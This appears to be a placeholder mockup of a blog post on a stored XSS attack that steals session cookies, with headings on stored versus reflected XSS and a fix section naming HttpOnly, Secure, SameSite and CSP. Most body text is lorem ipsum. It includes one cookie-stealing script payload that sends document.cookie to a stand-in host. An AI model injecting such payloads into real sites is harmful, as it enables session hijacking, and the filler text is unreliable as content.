xsswebappsecsessions

The XSS That Stole the Session

A stored XSS in a comment field. A session cookie without HttpOnly. A script that ran silently and sent it all home.

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris.

Stored vs Reflected

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Vestibulum tortor quam, feugiat vitae, ultricies eget.

<script>fetch('https://evil.com/?c='+document.cookie)</script>

Donec eu libero sit amet quam egestas semper. Aenean ultricies mi vitae est. Mauris placerat eleifend leo. Quisque sit amet est et sapien ullamcorper pharetra.

The Cookie That Didn’t Need to Be Stolen

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Vestibulum erat wisi, condimentum sed, commodo vitae, ornare sit amet, wisi. Aenean fermentum, elit eget tincidunt condimentum, eros ipsum rutrum orci.

The Fix

Lorem ipsum dolor sit amet, consectetur adipiscing elit. HttpOnly. Secure. SameSite=Strict. Content Security Policy. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit.